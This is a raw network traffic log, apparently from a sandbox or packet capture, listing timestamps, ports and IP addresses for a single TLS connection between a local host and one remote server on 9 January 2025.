Jan 9, 2025 09:31:19.945102930 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.945111036 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.945152044 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.945283890 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.945344925 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.945352077 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.945357084 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.945390940 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.968075037 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.968152046 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.968164921 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.968178034 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.968226910 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.968888044 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.968956947 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.968964100 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.969012022 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.969396114 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.969458103 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.969585896 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.969635010 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.969902039 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.969961882 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.978228092 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.978291988 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.978300095 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.978308916 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.978351116 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.002002954 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.002047062 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.002079964 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.002091885 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.002124071 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.002139091 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.002587080 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.002635956 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.002661943 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.002667904 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.002687931 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.002700090 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.002756119 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.002762079 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.002811909 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.003123045 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.003186941 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.003192902 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.003267050 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.023479939 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.023538113 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.023577929 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.023601055 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.023622990 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.023649931 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.023669004 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.031265974 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.031282902 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.031341076 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.031349897 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.031658888 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.031712055 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.031734943 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.031742096 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.031765938 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.054883003 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.054922104 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.054965973 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.054982901 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.055003881 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.055905104 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.055918932 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.055960894 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.055967093 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.056063890 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.056116104 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.056122065 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.056162119 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.065063953 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.065080881 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.065121889 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.065130949 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.065157890 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.065176964 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.089129925 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.089148045 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.089199066 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.089209080 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.089231968 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.089252949 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.089881897 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.089896917 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.089926004 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.089952946 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.089961052 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.089987993 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.090001106 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.105000019 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.105024099 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.105060101 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.105063915 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.105077028 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.105098009 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.118134022 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.118190050 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.118201971 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.118211985 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.118238926 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.118256092 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.118617058 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.118664026 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.141827106 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.141885042 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.141907930 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.141920090 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.141942978 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.142668009 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.142697096 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.142712116 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.142719030 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.142745972 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.143328905 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.143359900 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.143389940 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.143395901 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.143424034 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.143438101 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.151894093 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.151978970 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.152297020 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.152328968 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.152352095 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.152358055 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.152379990 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.175782919 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.175837994 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.175849915 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.175885916 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.176558018 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.176588058 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.176623106 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.176630020 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.176654100 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.176913977 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.176950932 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.176970005 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.176975012 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.177016973 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.191411972 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.191478968 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.191577911 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.191632986 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.204725981 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.204828978 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.204879999 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.204947948 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.205260992 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.205328941 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.205527067 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.205560923 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.205586910 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.205595016 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.205616951 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.205641031 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.228707075 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.228734016 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.228777885 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.228792906 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.228837013 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.229171038 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.229208946 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.229231119 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.229235888 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.229340076 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.229693890 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.229759932 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.238621950 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.238637924 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.238677025 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.238729000 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.238729000 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.238740921 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.238773108 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.265858889 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.265899897 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.265911102 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.265935898 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.265949965 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.265973091 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.265994072 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.266019106 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.266055107 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.266069889 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.266074896 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.266098022 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.267807961 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.267863035 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.267868996 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.278395891 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.278438091 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.278464079 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.278474092 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.278508902 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.292119980 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.292138100 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.292170048 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.292217016 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.292243004 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.292288065 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.292473078 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.292509079 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.292531013 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.292536020 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.293092966 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.293147087 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.293153048 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.293194056 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.315617085 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.315679073 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.315722942 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.315802097 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.315808058 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.315928936 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.315974951 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.315980911 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.316019058 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.316057920 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.316126108 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.316613913 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.316675901 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.325622082 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.325638056 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.325685978 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.325822115 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.325830936 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.326097012 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.326139927 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.326164961 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.326169968 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.326204062 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.352643013 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.352710962 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.352724075 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.352807045 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.352960110 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.353028059 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.353379011 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.353432894 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.365212917 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.365227938 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.365269899 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.365294933 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.365307093 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.365345001 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.365370035 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.378546953 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.378585100 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.378599882 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.378611088 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.378648996 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.378726959 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.378784895 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.378796101 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.378869057 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.379168034 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.379231930 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.379273891 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.379333019 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.379726887 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.379781008 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.403471947 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.403517008 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.403558969 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.403579950 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.403594017 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.403714895 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.403774023 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.403779984 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.403940916 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.403990984 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.403996944 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.404261112 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.404299021 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.404315948 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.404320955 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.404347897 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.404736996 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.404799938 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.404807091 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.404916048 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.404968023 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.404973030 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.405009985 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.421773911 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.421837091 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.440354109 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.440393925 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.440403938 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.440426111 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.440433025 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.440444946 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.440464973 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.440469980 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.440502882 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.440519094 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.440563917 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.440573931 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.440613031 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.440630913 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.440634966 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.440654993 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.440659046 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.440680981 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.440685987 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.440696001 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.440767050 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.440773010 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.440825939 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.440880060 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.440929890 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.440962076 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.441009045 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.453386068 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.453417063 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.453450918 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.453459024 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.453485966 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.465461016 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.465496063 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.465528965 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.465533018 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.465543032 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.465570927 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.465585947 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.465838909 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.465888023 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.465897083 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.465903044 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.465936899 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.466192007 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.466240883 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.466618061 CET	443	49723	188.114.96.3	192.168.2.6
